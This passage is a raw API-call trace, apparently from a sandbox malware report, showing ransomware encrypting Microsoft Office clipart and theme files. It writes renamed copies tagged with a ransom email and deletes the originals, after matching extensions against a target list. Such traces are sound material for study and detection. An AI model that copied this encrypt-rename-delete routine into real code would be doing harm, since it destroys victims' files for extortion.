lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.876] WriteFile (in: hFile=0x204, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.876] SetEndOfFile (hFile=0x204) returned 1 [0242.876] CloseHandle (hObject=0x204) returned 1 [0242.876] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.876] SetEndOfFile (hFile=0x324) returned 1 [0242.971] CloseHandle (hObject=0x324) returned 1 [0242.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.012] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid")) returned 1 [0243.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0243.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0243.012] lstrlenW (lpString=".doc") returned 4 [0243.012] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0243.012] lstrlenW (lpString=".docx") returned 5 [0243.012] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0243.012] lstrlenW (lpString=".pdf") returned 4 [0243.012] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0243.012] lstrlenW (lpString=".xls") returned 4 [0243.012] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0243.012] lstrlenW (lpString=".xlsx") returned 5 [0243.013] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0243.013] lstrlenW (lpString=".ppt") returned 4 [0243.013] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0243.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0243.013] lstrlenW (lpString=".zip") returned 4 [0243.013] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0243.013] lstrlenW (lpString=".rar") returned 4 [0243.013] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0243.013] lstrlenW (lpString=".bz2") returned 4 [0243.013] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0243.013] lstrlenW (lpString=".7z") returned 3 [0243.013] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0243.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0243.013] lstrlenW (lpString=".dbf") returned 4 [0243.013] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0243.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0243.013] lstrlenW (lpString=".1cd") returned 4 [0243.013] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0243.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0243.013] lstrlenW (lpString=".jpg") returned 4 [0243.013] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0243.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0243.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0243.013] lstrlenW (lpString=".doc") returned 4 [0243.013] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0243.013] lstrlenW (lpString=".docx") returned 5 [0243.013] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0243.013] lstrlenW (lpString=".pdf") returned 4 [0243.013] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0243.013] lstrlenW (lpString=".xls") returned 4 [0243.013] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0243.013] lstrlenW (lpString=".xlsx") returned 5 [0243.013] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0243.013] lstrlenW (lpString=".ppt") returned 4 [0243.013] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0243.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0243.014] lstrlenW (lpString=".zip") returned 4 [0243.014] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0243.014] lstrlenW (lpString=".rar") returned 4 [0243.014] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0243.014] lstrlenW (lpString=".bz2") returned 4 [0243.014] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0243.014] lstrlenW (lpString=".7z") returned 3 [0243.014] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0243.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0243.014] lstrlenW (lpString=".dbf") returned 4 [0243.014] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0243.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0243.014] lstrlenW (lpString=".1cd") returned 4 [0243.014] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0243.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0243.014] lstrlenW (lpString=".jpg") returned 4 [0243.014] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0243.014] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0243.014] lstrlenW (lpString="SWEST_01.MID") returned 12 [0243.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0243.015] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=8501) returned 1 [0243.015] CloseHandle (hObject=0x200) returned 1 [0243.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid")) returned 0x20 [0243.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0243.015] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.015] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0243.016] GetLastError () returned 0x0 [0243.016] ReadFile (in: hFile=0x200, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x2135, lpOverlapped=0x0) returned 1 [0243.032] WriteFile (in: hFile=0x204, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x2140, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x2140, lpOverlapped=0x0) returned 1 [0243.034] ReadFile (in: hFile=0x200, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.034] WriteFile (in: hFile=0x204, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.034] SetEndOfFile (hFile=0x204) returned 1 [0243.099] CloseHandle (hObject=0x204) returned 1 [0243.099] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.099] SetEndOfFile (hFile=0x200) returned 1 [0243.148] CloseHandle (hObject=0x200) returned 1 [0243.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.149] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid")) returned 1 [0243.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0243.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0243.149] lstrlenW (lpString=".doc") returned 4 [0243.149] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0243.149] lstrlenW (lpString=".docx") returned 5 [0243.149] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0243.149] lstrlenW (lpString=".pdf") returned 4 [0243.149] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0243.149] lstrlenW (lpString=".xls") returned 4 [0243.149] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0243.149] lstrlenW (lpString=".xlsx") returned 5 [0243.149] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0243.149] lstrlenW (lpString=".ppt") returned 4 [0243.150] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0243.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0243.150] lstrlenW (lpString=".zip") returned 4 [0243.150] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0243.150] lstrlenW (lpString=".rar") returned 4 [0243.150] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0243.150] lstrlenW (lpString=".bz2") returned 4 [0243.150] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0243.150] lstrlenW (lpString=".7z") returned 3 [0243.150] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0243.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0243.150] lstrlenW (lpString=".dbf") returned 4 [0243.150] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0243.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0243.150] lstrlenW (lpString=".1cd") returned 4 [0243.150] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0243.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0243.150] lstrlenW (lpString=".jpg") returned 4 [0243.150] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0243.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0243.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0243.150] lstrlenW (lpString=".doc") returned 4 [0243.150] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0243.150] lstrlenW (lpString=".docx") returned 5 [0243.150] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0243.150] lstrlenW (lpString=".pdf") returned 4 [0243.150] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0243.150] lstrlenW (lpString=".xls") returned 4 [0243.150] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0243.150] lstrlenW (lpString=".xlsx") returned 5 [0243.150] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0243.150] lstrlenW (lpString=".ppt") returned 4 [0243.151] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0243.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0243.151] lstrlenW (lpString=".zip") returned 4 [0243.151] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0243.151] lstrlenW (lpString=".rar") returned 4 [0243.151] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0243.151] lstrlenW (lpString=".bz2") returned 4 [0243.151] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0243.151] lstrlenW (lpString=".7z") returned 3 [0243.151] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0243.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0243.151] lstrlenW (lpString=".dbf") returned 4 [0243.151] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0243.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0243.151] lstrlenW (lpString=".1cd") returned 4 [0243.151] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0243.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0243.151] lstrlenW (lpString=".jpg") returned 4 [0243.151] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0243.151] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0243.151] lstrlenW (lpString="VCTRN_01.MID") returned 12 [0243.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0243.168] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=4961) returned 1 [0243.168] CloseHandle (hObject=0x3a4) returned 1 [0243.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid")) returned 0x20 [0243.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0243.172] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.172] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0243.172] GetLastError () returned 0x0 [0243.172] ReadFile (in: hFile=0x3a4, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x1361, lpOverlapped=0x0) returned 1 [0243.174] WriteFile (in: hFile=0x204, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x1370, lpOverlapped=0x0) returned 1 [0243.175] ReadFile (in: hFile=0x3a4, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.175] WriteFile (in: hFile=0x204, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.175] SetEndOfFile (hFile=0x204) returned 1 [0243.175] CloseHandle (hObject=0x204) returned 1 [0243.175] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.175] SetEndOfFile (hFile=0x3a4) returned 1 [0243.179] CloseHandle (hObject=0x3a4) returned 1 [0243.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid")) returned 1 [0243.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0243.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0243.183] lstrlenW (lpString=".doc") returned 4 [0243.183] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0243.183] lstrlenW (lpString=".docx") returned 5 [0243.183] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0243.183] lstrlenW (lpString=".pdf") returned 4 [0243.183] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0243.183] lstrlenW (lpString=".xls") returned 4 [0243.183] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0243.183] lstrlenW (lpString=".xlsx") returned 5 [0243.183] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0243.183] lstrlenW (lpString=".ppt") returned 4 [0243.183] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0243.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0243.183] lstrlenW (lpString=".zip") returned 4 [0243.183] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0243.183] lstrlenW (lpString=".rar") returned 4 [0243.183] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0243.183] lstrlenW (lpString=".bz2") returned 4 [0243.183] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0243.183] lstrlenW (lpString=".7z") returned 3 [0243.183] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0243.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0243.184] lstrlenW (lpString=".dbf") returned 4 [0243.184] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0243.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0243.184] lstrlenW (lpString=".1cd") returned 4 [0243.184] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0243.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0243.184] lstrlenW (lpString=".jpg") returned 4 [0243.184] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0243.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0243.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0243.184] lstrlenW (lpString=".doc") returned 4 [0243.184] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0243.184] lstrlenW (lpString=".docx") returned 5 [0243.184] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0243.184] lstrlenW (lpString=".pdf") returned 4 [0243.184] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0243.184] lstrlenW (lpString=".xls") returned 4 [0243.184] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0243.184] lstrlenW (lpString=".xlsx") returned 5 [0243.184] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0243.184] lstrlenW (lpString=".ppt") returned 4 [0243.184] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0243.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0243.184] lstrlenW (lpString=".zip") returned 4 [0243.184] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0243.184] lstrlenW (lpString=".rar") returned 4 [0243.184] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0243.184] lstrlenW (lpString=".bz2") returned 4 [0243.184] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0243.184] lstrlenW (lpString=".7z") returned 3 [0243.184] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0243.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0243.185] lstrlenW (lpString=".dbf") returned 4 [0243.185] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0243.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0243.185] lstrlenW (lpString=".1cd") returned 4 [0243.185] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0243.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0243.185] lstrlenW (lpString=".jpg") returned 4 [0243.185] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0243.185] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0243.185] lstrlenW (lpString="Adjacency.eftx") returned 14 [0243.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0243.190] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=21089) returned 1 [0243.190] CloseHandle (hObject=0x388) returned 1 [0243.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx")) returned 0x20 [0243.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0243.191] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.191] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0243.198] GetLastError () returned 0x0 [0243.198] ReadFile (in: hFile=0x388, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x5261, lpOverlapped=0x0) returned 1 [0243.200] WriteFile (in: hFile=0x390, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x5270, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x5270, lpOverlapped=0x0) returned 1 [0243.202] ReadFile (in: hFile=0x388, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.202] WriteFile (in: hFile=0x390, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0243.202] SetEndOfFile (hFile=0x390) returned 1 [0243.202] CloseHandle (hObject=0x390) returned 1 [0243.202] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.202] SetEndOfFile (hFile=0x388) returned 1 [0243.204] CloseHandle (hObject=0x388) returned 1 [0243.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.id-9C354B42.[getbtc@aol.com].Q1G", 